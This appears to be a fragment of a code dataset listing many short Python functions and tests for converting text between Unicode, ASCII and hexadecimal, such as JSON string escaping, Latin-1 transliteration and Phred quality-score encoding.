py_encode_basestring_ascii(s):\n if isinstance(s, str) and HAS_UTF8.search(s) is not None:\n s = s.decode('utf-8')\n def replace(match):\n s = match.group(0)\n try:\n return ESCAPE_DCT[s]\n except KeyError:\n n = ord(s)\n if n < 0x10000:\n return '\\\\u{0:04x}'.format(n)\n #return '\\\\u%04x' % (n,)\n else:\n # surrogate pair\n n -= 0x10000\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\n s2 = 0xdc00 | (n & 0x3ff)\n return '\\\\u{0:04x}\\\\u{1:04x}'.format(s1, s2)\n #return '\\\\u%04x\\\\u%04x' % (s1, s2)\n return '\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\"'","def ascii_convert(the_bytes: bytes):\n return ANSI_ESCAPE_B.sub(rb\"\", the_bytes).decode(\"utf-8\")","def py_encode_basestring_ascii(s):\n if isinstance(s, str) and HAS_UTF8.search(s) is not None:\n s = s.decode('utf-8')\n def replace(match):\n s = match.group(0)\n try:\n return ESCAPE_DCT[s]\n except KeyError:\n n = ord(s)\n if n < 0x10000:\n #return '\\\\u{0:04x}'.format(n)\n return '\\\\u%04x' % (n,)\n else:\n # surrogate pair\n n -= 0x10000\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\n s2 = 0xdc00 | (n & 0x3ff)\n #return '\\\\u{0:04x}\\\\u{1:04x}'.format(s1, s2)\n return '\\\\u%04x\\\\u%04x' % (s1, s2)\n return '\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\"'","def latin1_to_ascii(self, unicrap):\n xlate = {0xc0: 'A', 0xc1: 'A', 0xc2: 'A', 0xc3: 'A', 0xc4: 'A', 0xc5: 'A',\n 0xc6: 'Ae', 0xc7: 'C',\n 0xc8: 'E', 0xc9: 'E', 0xca: 'E', 0xcb: 'E',\n 0xcc: 'I', 0xcd: 'I', 0xce: 'I', 0xcf: 'I',\n 0xd0: 'Th', 0xd1: 'N',\n 0xd2: 'O', 0xd3: 'O', 0xd4: 'O', 0xd5: 'O', 0xd6: 'O', 0xd8: 'O',\n 0xd9: 'U', 0xda: 'U', 0xdb: 'U', 0xdc: 'U',\n 0xdd: 'Y', 0xde: 'th', 0xdf: 'ss',\n 0xe0: 'a', 0xe1: 'a', 0xe2: 'a', 0xe3: 'a', 0xe4: 'a', 0xe5: 'a',\n 0xe6: 'ae', 0xe7: 'c',\n 0xe8: 'e', 0xe9: 'e', 0xea: 'e', 0xeb: 'e',\n 0xec: 'i', 0xed: 'i', 0xee: 'i', 0xef: 'i',\n 0xf0: 'th', 0xf1: 'n',\n 0xf2: 'o', 0xf3: 'o', 0xf4: 'o', 0xf5: 'o', 0xf6: 'o', 0xf8: 'o',\n 0xf9: 'u', 0xfa: 'u', 0xfb: 'u', 0xfc: 'u',\n 0xfd: 'y', 0xfe: 'th', 0xff: 'y',\n 0xa1: '!', 0xa2: '{cent}', 0xa3: '{pound}', 0xa4: '{currency}',\n 0xa5: '{yen}', 0xa6: '|', 0xa7: '{section}', 0xa8: '{umlaut}',\n 0xa9: '{C}', 0xaa: '{^a}', 0xab: '<<', 0xac: '{not}',\n 0xad: '-', 0xae: '{R}', 0xaf: '_', 0xb0: '{degrees}',\n 0xb1: '{+/-}', 0xb2: '{^2}', 0xb3: '{^3}', 0xb4: \"'\",\n 0xb5: '{micro}', 0xb6: '{paragraph}', 0xb7: '*', 0xb8: '{cedilla}',\n 0xb9: '{^1}', 0xba: '{^o}', 0xbb: '>>',\n 0xbc: '{1/4}', 0xbd: '{1/2}', 0xbe: '{3/4}', 0xbf: '?',\n 0xd7: '*', 0xf7: '/'\n }\n\n r = ''\n for i in unicrap:\n if xlate.has_key(ord(i)):\n r += xlate[ord(i)]\n elif ord(i) >= 0x80:\n pass\n else:\n r += str(i)\n return r","def test_phred_to_ascii64(self):\r\n self.assertEqual(phred_to_ascii64(0), '@')\r\n self.assertEqual(phred_to_ascii64(30), '^')","def test_contains_nonprintable_characters(self):\n result = attributeAsLDIF(b\"key\", b\"val\\xFFue\")\n self.assertEqual(result, b\"key:: %s\\n\" % encode(b\"val\\xFFue\"))","def hex_to_ascii_string(input_string):\n\t\tlist_of_hex = input_string.split(\" \")\n\t\tchars = [chr(int(char, 16)) for char in list_of_hex if char != ' ']\n\t\toutput_string = \"\".join(chars)\n\t\treturn output_string","def hex(string):\n return string.encode('hex')","def py_encode_basestring_ascii(s, _PY3=PY3):\r\n if _PY3:\r\n if isinstance(s, binary_type):\r\n s = s.decode('utf-8')\r\n else:\r\n if isinstance(s, str) and HAS_UTF8.search(s) is not None:\r\n s = s.decode('utf-8')\r\n def replace(match):\r\n s = match.group(0)\r\n try:\r\n return ESCAPE_DCT[s]\r\n except KeyError:\r\n n = ord(s)\r\n if n < 0x10000:\r\n #return '\\\\u{0:04x}'.format(n)\r\n return '\\\\u%04x' % (n,)\r\n else:\r\n # surrogate pair\r\n n -= 0x10000\r\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\r\n s2 = 0xdc00 | (n & 0x3ff)\r\n #return '\\\\u{0:04x}\\\\u{1:04x}'.format(s1, s2)\r\n return '\\\\u%04x\\\\u%04x' % (s1, s2)\r\n return '\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\"'","def convertirHexadecimal(self):\n self.convertir(lambda c: hex(ord(c))[2:], sep=' ')","def entity_encode_hex(input, errors='strict'):\n output = ''\n for character in input:\n if character in ('&', '<', '>'):\n output += \"&#x%s;\" % character.encode('hex')\n else:\n output += character\n\n return (output, len(input))","def to_hex(text):\n return ' '.join([hex(ord(char)) for char in unicode(text, 'UTF-8')])","def unicode_to_ascii(s: str) -> str:\n chars = []\n for c in unicodedata.normalize('NFD', s):\n if unicodedata.category(c) != 'Mn' and c in ALLOWED_CHARS:\n chars.append(c)\n return \"\".join(chars)","def test_hex_separator(self):\n # Logic of separators is tested in test_bytes.py. This checks that\n # arg parsing works and exercises the direct to bytes object code\n # path within pystrhex.c.\n s = b'{s\\005\\000\\000\\000worldi\\002\\000\\000\\000s\\005\\000\\000\\000helloi\\001\\000\\000\\0000'\n self.assertEqual(binascii.hexlify(self.type2test(s)), s.hex().encode('ascii'))\n expected8 = s.hex('.', 8).encode('ascii')\n self.assertEqual(binascii.hexlify(self.type2test(s), '.', 8), expected8)\n expected1 = s.hex(':').encode('ascii')\n self.assertEqual(binascii.b2a_hex(self.type2test(s), ':'), expected1)","def hexchar(i):\n if i > -1 and i < 16:\n return \"%X\" % i\n else:\n return None","def escapeDecode(s: unicode) -> unicode:\n ...","def test_phred_to_ascii(self):\r\n self.assertEqual(phred_to_ascii(0, 120), 'x')\r\n self.assertEqual(phred_to_ascii(1, 119), 'x')","def _UnicodeToAscii(string):\n return unicode(string).encode('utf-8')","def console_encode(s):\n if self.encoding.lower() != \"utf-8\":\n return s.encode(self.encoding, \"replace\").decode(self.encoding)\n return s","def test_value_special_chars(self):\n raw = [\n 0x48,\n 0x65,\n 0x79,\n 0x21,\n 0x3F,\n 0x24,\n 0x20,\n 0xC4,\n 0xD6,\n 0xDC,\n 0xE4,\n 0xF6,\n 0xFC,\n 0xDF,\n ]\n string = \"Hey!?$ ÄÖÜäöüß\"\n self.assertEqual(DPTString.to_knx(string), raw)\n self.assertEqual(DPTString.from_knx(raw), string)","def test_nonASCIIBytesToString(self):\n self.assertRaises(UnicodeError, nativeString, b\"\\xFF\")","def sanitize(instring):\r\n return instring.encode('ascii','replace')","def hexify(text):\r\n return ' '.join([hexify_word(word) for word in text.split()])","def test_ascii_to_phred64(self):\r\n self.assertEqual(ascii_to_phred64('@'), 0)\r\n self.assertEqual(ascii_to_phred64('^'), 30)","def make_unicode():\r\n for num in range(300, 320):\r\n yield unichr(num)","def _encode_text(self):\n\n print(f\"Hex encode; received message is {self.message}\")\n return self.message.encode(\"utf-8\").hex()","def _dehex(s):\n import re\n import binascii\n\n # Remove all non-hexadecimal digits\n s = re.sub(br'[^a-fA-F\\d]', b'', s)\n # binscii.unhexlify works in Python 2 and Python 3 (unlike\n # thing.decode('hex')).\n return binascii.unhexlify(s)","def _encode_reserved(text, maximal=True):\n if maximal:\n bytestr = normalize('NFC', text).encode('utf8')\n return u''.join([_UNRESERVED_QUOTE_MAP[b] for b in bytestr])\n return u''.join([_UNRESERVED_QUOTE_MAP[t] if t in _UNRESERVED_CHARS\n else t for t in text])","def test_nonASCIIUnicodeToString(self):\n self.assertRaises(UnicodeError, nativeString, u\"\\u1234\")","def remove_non_ascii(text):\n return re.sub(r'[^\\x00-\\x7F]', ' ', text)","def ascii_convert_str(the_str: str):\n return ANSI_ESCAPE.sub(rb\"\", the_str)","def test_ascii_to_phred(self):\r\n self.assertEqual(ascii_to_phred('x', 120), 0)\r\n self.assertEqual(ascii_to_phred('x', 119), 1)","def hexify_word(word):\r\n\r\n return ''.join([str(hex(ord(c))[2::]) for c in word])","def _flatten_to_ascii(txt):\r\n if isinstance(txt, str):\r\n txt = txt.decode('utf-8')\r\n return unicodedata.normalize('NFKD', txt).encode('ASCII', 'ignore')\r\n else:\r\n return unicode(unicodedata.normalize('NFKD', txt).encode('ASCII', 'ignore'))","def hexstring(self):\n if self.current != b\"<\":\n self.on_parser_error(\"Hexadecimal string expected\")\n self.next()\n token = b''\n self.maybe_spaces_or_comments()\n while self.is_hex_digit:\n token += self.next()\n self.maybe_spaces_or_comments()\n\n ch = self.next()\n if ch != b'>':\n self.on_parser_error(\"Wrong hexadecimal string\")\n if len(token) % 2:\n # if there is an odd number of digits - the last one should be assumed 0\n token += b'0'\n return HexString(token.decode(DEFAULT_ENCODING).upper())","def sanatize_hex(data: str) -> str:\n return data.replace(\"0x\", \"\").replace(\"0X\", \"\")","def _hexchar(c):\n if c == '1': return 1\n if c == '2': return 2\n if c == '3': return 3\n if c == '4': return 4\n if c == '5': return 5\n if c == '6': return 6\n if c == '7': return 7\n if c == '8': return 8\n if c == '9': return 9\n if c == 'A' or c == 'a': return 10\n if c == 'B' or c == 'b': return 11\n if c == 'C' or c == 'c': return 12\n if c == 'D' or c == 'd': return 13\n if c == 'E' or c == 'e': return 14\n if c == 'F' or c == 'f': return 15\n return 0","def _unascii(s):\n\n # make the fast path fast: if there are no matches in the string, the\n # whole thing is ascii. On python 2, that means we're done. On python 3,\n # we have to turn it into a bytes, which is quickest with encode('utf-8')\n m = _U_ESCAPE.search(s)\n if not m:\n return s if PY2 else s.encode('utf-8')\n\n # appending to a string (or a bytes) is slooow, so we accumulate sections\n # of string result in 'chunks', and join them all together later.\n # (It doesn't seem to make much difference whether we accumulate\n # utf8-encoded bytes, or strings which we utf-8 encode after rejoining)\n #\n chunks = []\n\n # 'pos' tracks the index in 's' that we have processed into 'chunks' so\n # far.\n pos = 0\n\n while m:\n start = m.start()\n end = m.end()\n\n g = m.group(1)\n\n if g is None:\n # escaped backslash: pass it through along with anything before the\n # match\n chunks.append(s[pos:end])\n else:\n # \\uNNNN, but we have to watch out for surrogate pairs.\n #\n # On python 2, str.encode(\"utf-8\") will decode utf-16 surrogates\n # before re-encoding, so it's fine for us to pass the surrogates\n # through. (Indeed we must, to deal with UCS-2 python builds, per\n # https://github.com/matrix-org/python-canonicaljson/issues/12).\n #\n # On python 3, str.encode(\"utf-8\") complains about surrogates, so\n # we have to unpack them.\n c = int(g, 16)\n\n if c < 0x20:\n # leave as a \\uNNNN escape\n chunks.append(s[pos:end])\n else:\n if PY3: # pragma nocover\n if c & 0xfc00 == 0xd800 and s[end:end + 2] == '\\\\u':\n esc2 = s[end + 2:end + 6]\n c2 = int(esc2, 16)\n if c2 & 0xfc00 == 0xdc00:\n c = 0x10000 + (((c - 0xd800) << 10) |\n (c2 - 0xdc00))\n end += 6\n\n chunks.append(s[pos:start])\n chunks.append(unichr(c))\n\n pos = end\n m = _U_ESCAPE.search(s, pos)\n\n # pass through anything after the last match\n chunks.append(s[pos:])\n\n return (''.join(chunks)).encode(\"utf-8\")","def unhexchar(c):\n c = c[:1]\n if \"abcdefABCDEF0123456789\".find(c) != -1:\n return int(c,16)\n else:\n return None","def printHex(str):\r\n\tmes = []\r\n\tfor ch in str:\r\n\t\tif ch in printable:\r\n\t\t\tmes.append(ch)\r\n\t\telse:\r\n\t\t\t# rendo visibile il codice\r\n\t\t\tmes.append(\"(%02x)\" %ord(ch))\r\n\t\t\tif ch == '\\n':\r\n\t\t\t\tmes.append('\\n')\r\n\tprint \"\".join(mes)","def EscapeString(s):\n result = ''\n for c in s:\n hexstr = hex(ord(c))\n # because hexstr contains '0x', remove the prefix and add our prefix\n result += '\\\\x' + hexstr[2:]\n return result","def unicode_to_ascii(s):\n ret = \"\"\n for ch in s:\n try:\n ach = str(ch)\n ret += ach\n except UnicodeEncodeError:\n ret += \"?\"\n return ret","def to_ascii(ustr):\n return ustr.encode('utf8')","def is_ascii(token):\n\n printable = set(string.printable)\n\n for char in token:\n if char not in printable:\n return False\n\n return True","def normalize(self, text):\n\n return binascii.hexlify(text)","def to_ascii(self):\n code = self.build()\n for i, line in enumerate(code):\n code[i] = line.replace('1', '|').replace('0', '_')\n return '\\n'.join(code)","def unhexlify(text):\n unhexlified = binascii.unhexlify(text)\n\n if six.PY3:\n unhexlified = unhexlified.decode('utf-8')\n\n return unhexlified","def e(d):\n return d.encode('UTF-8')","def test_phred_to_ascii33(self):\r\n self.assertEqual(phred_to_ascii33(0), '!')\r\n self.assertEqual(phred_to_ascii33(30), '?')","def normalize(data):\n return unicodedata.normalize('NFKD', data).encode('ASCII', 'ignore')","def convert_ascii_field(string):\n values = []\n for codepoint in [s for s in string.split(DATA_FILE_CODEPOINT_SEPARATOR) if (s != DATA_FILE_VALUE_NOT_AVAILABLE) and (len(s) > 0)]:\n #if DATA_FILE_CODEPOINT_JOINER in codepoint:\n # values.append(u\"\".join([hex_to_unichr(c) for c in codepoint.split(DATA_FILE_CODEPOINT_JOINER)]))\n if (codepoint.startswith(DATA_FILE_ASCII_NUMERICAL_CODEPOINT_START)) or (codepoint.startswith(DATA_FILE_ASCII_UNICODE_CODEPOINT_START)):\n values.append(hex_to_unichr(codepoint))\n else:\n values.append(codepoint)\n return values","def unicode_to_ascii(s):\n return ''.join(c for c in unicodedata.normalize('NFD', s) if\n unicodedata.category(c) != 'Mn')","def hexify(buffer):\n return ''.join('%02x' % ord(c) for c in buffer)","def to_ascii(line):\n data = [ord(c) for c in line]\n data.append(10)\n return data","def _pythonifyString(s):\n\n if \"\\x00\" in s:\n s = s[:s.index(\"\\x00\")]\n return s","def entity_decode_hex(input, errors='strict'):\n if _is_unicode(input):\n if '%' not in input:\n return s\n bits = _asciire.split(input)\n res = [bits[0]]\n append = res.append\n for i in range(1, len(bits), 2):\n append(unquote(str(bits[i])).decode('latin1'))\n append(bits[i + 1])\n return (''.join(res), len(input))\n\n preamble_regex = re.compile(r\"&#x\", flags=re.I)\n bits = preamble_regex.split(input)\n # fastpath\n if len(bits) == 1:\n return input\n res = [bits[0]]\n append = res.append\n for item in bits[1:]:\n try:\n append(_hextochr[item[:2]])\n append(item[3:])\n except KeyError:\n append('&#x')\n append(item)\n append(';')\n\n return (''.join(res), len(input))","def unH(s):\n return ''.join([chr(int(s[i:i+2],16)) for i in range(2, len(s),2)])","def tohex(data: str) -> str:\n match = re.fullmatch(r\"^0[x|X][0-9a-fA-F]+\", data)\n if match:\n return data.lower()\n match = re.fullmatch(r\"^[0-9a-fA-F]+[h|H]$\", data)\n if not match:\n raise ValueError(f\"Required hex of the form `0x` or `H` found {data}\")\n match = re.match(r\"^[0-9a-fA-F]+\", data)\n return f\"0x{match.group().lower()}\"","def to_ascii20(name: str) -> str:\n # ascii characters have codes from 0 to 127\n # but 127 is \"delete\" and we don't want it\n return \"\".join([c for c in name if ord(c) < 127])[:20]","def unescape(escaped_string):\n\n hex_msg = \"^x not followed by a valid 2-digit hex number\"\n\n token_start = 0\n l = len(escaped_string)\n i = 0\n output = []\n while i < l:\n c = escaped_string[i]\n\n if c in _unprintables:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string, \"unprintable character\",\n token_start, i)\n elif c != \"^\":\n output.append(c)\n else:\n if i == l - 1:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string, \"caret at end of string\",\n token_start, i)\n i += 1\n next_c = escaped_string[i]\n if next_c not in \"'\\\"^x\":\n if next_c in _unprintables:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string,\n \"^ followed by unprintable character\",\n token_start, i)\n else:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string,\n \"^ followed by invalid character %s\" % (next_c,),\n token_start, i)\n if next_c != 'x':\n output.append(next_c)\n else:\n if i >= l - 2:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string, hex_msg, token_start, i)\n i += 1\n hex1 = escaped_string[i]\n i += 1\n hex2 = escaped_string[i]\n if hex1 not in _ALLOWED_SAMPLE_HEX_DIGITS:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string, hex_msg, token_start, i - 1)\n if hex2 not in _ALLOWED_SAMPLE_HEX_DIGITS:\n raise vps.errorhandler.StringUnspecial_characterException(\n escaped_string, hex_msg, token_start, i)\n val = int(hex1 + hex2, 16)\n output.append(chr(val))\n # incrementing i should happen at the end of the loop body for\n # all paths\n i += 1\n return ''.join(output)","def phred_to_ascii(p):\n return chr(p+33)","def _hexencode(bytestring):\n _checkString(bytestring, description='byte string')\n\n # Use plain string formatting instead of binhex.hexlify,\n # in order to have it Python 2.x and 3.x compatible\n\n outstring = ''\n for c in bytestring:\n outstring += '{0:02X}'.format(ord(c))\n return outstring","def _unicode_encode(self, s):\n if isinstance(s, unicode):\n return s.encode('utf-8')\n else:\n return s","def string_to_ascii(string):\n if string is None:\n return\n\n if isinstance(string, str):\n string = string.decode('utf-8')\n\n return normalize('NFKD', string).encode('ASCII', 'ignore')","def print_as_hex(s):\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in s))","def non_secret_char(c):\n return c","def phred_to_ascii(d, offset):\r\n return chr(d + offset)","def ascii_hexchar(s: str) -> bool:\n return frozenset(s).issubset(_ascii_h)","def _wadifyString(s):\n\n if len(s) < 8:\n s += \"\\x00\" * (8 - len(s))\n return s","def test_unicodeBasic(self):\n input = raw_unicode(\n r\"Ik ben ge\\u00EFnteresseerd in de co\\u00F6rdinatie van mijn knie\\u00EBn, maar kan niet \\u00E9\\u00E9n \\u00E0 twee enqu\\u00EAtes vinden die recht doet aan mijn carri\\u00E8re op Cura\\u00E7ao\")\n output = input.split(\" \")\n output[8] = output[8][0:-1]\n for (itmO, itmV) in zip(output, tokenize_en(input)):\n self.assertEqual(itmO, itmV[0])\n self.assertTrue(input[itmV[1]:].startswith(itmO))","def py_encode_basestring(s):\n def replace(match):\n return ESCAPE_DCT[match.group(0)]\n return '\"' + ESCAPE.sub(replace, s) + '\"'","def encode_hex(b):\n if isinstance(b, str):\n b = bytes(b, \"utf-8\")\n if isinstance(b, bytes):\n return str(hexlify(b), \"utf-8\")\n raise TypeError(\"Value must be an instance of str or bytes\")","def test_ascii_to_phred33(self):\r\n self.assertEqual(ascii_to_phred33('!'), 0)\r\n self.assertEqual(ascii_to_phred33('?'), 30)","def to_ascii(string):\n\tfor key in UNICODE_TO_ASCII:\n\t\tstring = string.replace(key, UNICODE_TO_ASCII[key])\n\n\treturn string","def convert(value):\n if value < 256 and value > 32 and chr(value) in string.printable:\n ascii_val = chr(value)\n else:\n ascii_val = \"\"\n\n return (hex(value), bin(value), ascii_val, value)","def unicodeToAscii(s):\n return ''.join(\n c for c in unicodedata.normalize('NFD', s)\n if unicodedata.category(c) != 'Mn'\n )","def hex_to_unichr(hex_string):\n if (hex_string is None) or (len(hex_string) < 1):\n return None\n if hex_string.startswith(\"U+\"):\n hex_string = hex_string[2:]\n return int_to_unichr(int(hex_string, base=16))","def to_ascii(a):\n\treturn str(\n\t\ta.tostring(),\n\t\t\"UTF-8\",\n\t\terrors='ignore'\n\t)","def replaceNonAsciiFromText(self, text):\n\t\treturn ''.join([i if ord(i) < 128 else ' ' for i in text])","def test_replace_problem_ascii(self):\n test_string = 'We' + u'\\u2019' + ' help with your testing \\\n efforts. Our company is the best for that, 10Coupons ' + u'\\u2122' + '.'\n result_string = replace_problem_ascii(test_string)\n if \"u2122\" in result_string:\n self.fail(\"Unicode character not replaced.\")\n if \"u2019\" in result_string:\n self.fail(\"Unicode character not replaced.\")\n if \"(tm)\" not in result_string:\n self.fail(\"Replacement of unicode character unsuccessful.\")\n test_string2 = \"This is a purely ascii string.\"\n result_string2 = replace_problem_ascii(test_string2)\n self.assertEqual(test_string2, result_string2)","def hx(i):\n a = hex(i)[2:]\n if len(a)<2: a = ''.join(['0',a])\n return a","def test_hexlify_empty_script():\n assert uflash.hexlify('') == ''","def Quote(s):\n if not nonnormal_char_re.search(s):\n return s # no quoting necessary\n slist = []\n for char in s:\n if nonnormal_char_re.search(char):\n slist.append(\"\\\\x%02x\" % ord(char))\n else:\n slist.append(char)\n return '\"%s\"' % \"\".join(slist)","def unicode_escape(s, error=\"backslashreplace\"):\n def ascii_chr(byte):\n if 0 <= byte <= 127:\n return chr(byte)\n return r\"\\x%02x\" % byte\n\n bytes = s.encode('utf-8', error)\n return \"\".join(map(ascii_chr, bytes))","def test_bytes_to_ihex_universal():\n data = b'A' * 32\n expected_result = '\\n'.join([\n ':020000040003F7',\n ':108C100D4141414141414141414141414141414137',\n ':108C200D4141414141414141414141414141414127',\n ])\n\n result = uflash.bytes_to_ihex(0x38C10, data, universal_data_record=True)\n\n assert result == expected_result","def _windows_unicode_to_python_triplequoted(self, x):\n \n if x[0] == chr(0xff) and x[1] == chr(0xfe): \n # windows little-endian unicode marker ok \n pass \n else: \n raise Exception('does not seem like a windows unicode file') \n \n x = x[2:] \n nch = len(x) / 2 \n res = 'u\"\"\"\\\\\\n'\n n_quots = 0 \n for i in xrange(nch): \n t0 = x[i*2 + 0] \n t1 = x[i*2 + 1] \n \n o = ord(t0) + ord(t1)*256 \n if (o == ord('\"')): \n n_quots += 1 \n else: \n n_quots = 0 \n\n if ((o >= ord('a')) and (o <= ord('z'))) or \\\n ((o >= ord('A')) and (o <= ord('Z'))) or \\\n ((o >= ord('0')) and (o <= ord('9'))):\n res += chr(o) \n elif (o <= 0x7e) and (chr(o) in ' \\n\\t:-_=[](){},.\\''): \n res += chr(o) \n elif (o == ord('\"') and n_quots < 3): \n res += chr(o) \n elif (o == ord('\\\\')): \n # two quotes \n res += '\\\\\\\\' \n elif (o == ord('\\r')): \n res += '\\\\r' \n else: \n res += '\\\\u%04x' % o \n \n res += '\"\"\"' \n return res","def isascii(s):\n return len(s) == len(s.encode())"],"string":"[\n \"def to_ascii(text):\\n return re.sub(r'[^\\\\x00-\\\\x7F]+', ' ', text)\",\n \"def hexbyte(string):\\n#\\treturn repr(string)\\n\\ts = \\\"\\\"\\n\\tfor i in string:\\n\\t\\tif (ord(i) >= ord('A') and ord(i) <= ord('z')) \\\\\\n\\t\\t\\tor (ord(i) >= ord('0') and ord(i) <= ord('9')) \\\\\\n\\t\\t\\tor (ord(i) == ord(\\\" \\\")):\\n\\t\\t\\ts += \\\"%s\\\" % i\\n\\t\\telse:\\n\\t\\t\\ts += \\\"\\\\\\\\x%02x\\\" % ord(i)\\n\\n#\\t\\ts += \\\" \\\"\\n\\treturn s\",\n \"def unicode2ascii(_unicrap):\\n xlate = {0xc0:'A', 0xc1:'A', 0xc2:'A', 0xc3:'A', 0xc4:'A', 0xc5:'A',\\n 0xc6:'Ae', 0xc7:'C',\\n 0xc8:'E', 0xc9:'E', 0xca:'E', 0xcb:'E',\\n 0xcc:'I', 0xcd:'I', 0xce:'I', 0xcf:'I',\\n 0xd0:'Th', 0xd1:'N',\\n 0xd2:'O', 0xd3:'O', 0xd4:'O', 0xd5:'O', 0xd6:'O', 0xd8:'O',\\n 0xd9:'U', 0xda:'U', 0xdb:'U', 0xdc:'U',\\n 0xdd:'Y', 0xde:'th', 0xdf:'ss',\\n 0xe0:'a', 0xe1:'a', 0xe2:'a', 0xe3:'a', 0xe4:'a', 0xe5:'a',\\n 0xe6:'ae', 0xe7:'c',\\n 0xe8:'e', 0xe9:'e', 0xea:'e', 0xeb:'e',\\n 0xec:'i', 0xed:'i', 0xee:'i', 0xef:'i',\\n 0xf0:'th', 0xf1:'n',\\n 0xf2:'o', 0xf3:'o', 0xf4:'o', 0xf5:'o', 0xf6:'o', 0xf8:'o',\\n 0xf9:'u', 0xfa:'u', 0xfb:'u', 0xfc:'u',\\n 0xfd:'y', 0xfe:'th', 0xff:'y',\\n 0xa1:'!', 0xa2:'{cent}', 0xa3:'{pound}', 0xa4:'{currency}',\\n 0xa5:'{yen}', 0xa6:'|', 0xa7:'{section}', 0xa8:'{umlaut}',\\n 0xa9:'{C}', 0xaa:'{^a}', 0xab:'<<', 0xac:'{not}',\\n 0xad:'-', 0xae:'{R}', 0xaf:'_', 0xb0:'{degrees}',\\n 0xb1:'{+/-}', 0xb2:'{^2}', 0xb3:'{^3}', 0xb4:\\\"'\\\",\\n 0xb5:'{micro}', 0xb6:'{paragraph}', 0xb7:'*', 0xb8:'{cedilla}',\\n 0xb9:'{^1}', 0xba:'{^o}', 0xbb:'>>',\\n 0xbc:'{1/4}', 0xbd:'{1/2}', 0xbe:'{3/4}', 0xbf:'?',\\n 0xd7:'*', 0xf7:'/'\\n }\\n\\n s = \\\"\\\"\\n for i in _unicrap:\\n ordi = ord(i)\\n if ordi in xlate:\\n s += xlate[ordi]\\n elif ordi >= 0x80:\\n pass\\n else:\\n s += str(i)\\n return s\",\n \"def test_unhexlify_bad_unicode():\\n assert '' == uflash.unhexlify(\\n ':020000040003F7\\\\n:10E000004D50FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF')\",\n \"def to_ascii(s):\\n return s.encode('ascii', 'ignore')\",\n \"def force_ascii(text):\\n return \\\"\\\".join([c for c in text if ord(c) < 128])\",\n \"def __unicode_to_ascii(text):\\n line = unicodedata.normalize('NFKD', text)\\n return ''.join(c for c in line if not unicodedata.combining(c))\",\n \"def test_unhexlify_not_python():\\n assert '' == uflash.unhexlify(\\n ':020000040003F7\\\\n:10E000000000000000000000000000000000000010')\",\n \"def encodeHex(s):\\n encoder = codecs.getencoder('hex_codec')\\n hex, length = encoder(s)\\n assert len(s) == length, \\\"Hex encoding incomplete\\\"\\n return hex\",\n \"def escapeEncode(s: unicode) -> unicode:\\n ...\",\n \"def _grab_unascii(self):\\r\\n unascii = \\\"\\\"\\r\\n while self._char != -1 and not self._char in \\\"\\\\x00\\\\t\\\\r\\\\n\\\":\\r\\n unascii += self._char\\r\\n self._get_char()\\r\\n return unascii\",\n \"def ascii_to_hex_string(eng, control_codes={}):\\n eng_bytestring = \\\"\\\"\\n if not eng:\\n return \\\"\\\"\\n else:\\n try:\\n eng = str(eng)\\n except UnicodeEncodeError:\\n # Tried to encode a fullwidth number. Encode it as sjis instead.\\n eng = eng.encode('shift-jis')\\n\\n eng_bytestring = eng\\n\\n for cc in control_codes:\\n cc_hex = ascii_to_hex_string(cc)\\n if cc_hex in eng_bytestring:\\n eng_bytestring = eng_bytestring.replace(cc_hex, control_codes[cc])\\n\\n return eng_bytestring\",\n \"def toHexa(data):\\n\\tresult = \\\"\\\"\\n\\tif isBytes(data):\\n\\t\\tdata = data.decode(\\\"latin-1\\\")\\n\\tfor i in data:\\n\\t\\tresult += \\\"\\\\\\\\x%02X\\\"%ord(i)\\n\\treturn result\",\n \"def py_encode_basestring_ascii(s):\\n if isinstance(s, str) and HAS_UTF8.search(s) is not None:\\n s = s.decode('utf-8')\\n def replace(match):\\n s = match.group(0)\\n try:\\n return ESCAPE_DCT[s]\\n except KeyError:\\n n = ord(s)\\n if n < 0x10000:\\n return '\\\\\\\\u{0:04x}'.format(n)\\n #return '\\\\\\\\u%04x' % (n,)\\n else:\\n # surrogate pair\\n n -= 0x10000\\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\\n s2 = 0xdc00 | (n & 0x3ff)\\n return '\\\\\\\\u{0:04x}\\\\\\\\u{1:04x}'.format(s1, s2)\\n #return '\\\\\\\\u%04x\\\\\\\\u%04x' % (s1, s2)\\n return '\\\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\\\"'\",\n \"def ascii_convert(the_bytes: bytes):\\n return ANSI_ESCAPE_B.sub(rb\\\"\\\", the_bytes).decode(\\\"utf-8\\\")\",\n \"def py_encode_basestring_ascii(s):\\n if isinstance(s, str) and HAS_UTF8.search(s) is not None:\\n s = s.decode('utf-8')\\n def replace(match):\\n s = match.group(0)\\n try:\\n return ESCAPE_DCT[s]\\n except KeyError:\\n n = ord(s)\\n if n < 0x10000:\\n #return '\\\\\\\\u{0:04x}'.format(n)\\n return '\\\\\\\\u%04x' % (n,)\\n else:\\n # surrogate pair\\n n -= 0x10000\\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\\n s2 = 0xdc00 | (n & 0x3ff)\\n #return '\\\\\\\\u{0:04x}\\\\\\\\u{1:04x}'.format(s1, s2)\\n return '\\\\\\\\u%04x\\\\\\\\u%04x' % (s1, s2)\\n return '\\\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\\\"'\",\n \"def latin1_to_ascii(self, unicrap):\\n xlate = {0xc0: 'A', 0xc1: 'A', 0xc2: 'A', 0xc3: 'A', 0xc4: 'A', 0xc5: 'A',\\n 0xc6: 'Ae', 0xc7: 'C',\\n 0xc8: 'E', 0xc9: 'E', 0xca: 'E', 0xcb: 'E',\\n 0xcc: 'I', 0xcd: 'I', 0xce: 'I', 0xcf: 'I',\\n 0xd0: 'Th', 0xd1: 'N',\\n 0xd2: 'O', 0xd3: 'O', 0xd4: 'O', 0xd5: 'O', 0xd6: 'O', 0xd8: 'O',\\n 0xd9: 'U', 0xda: 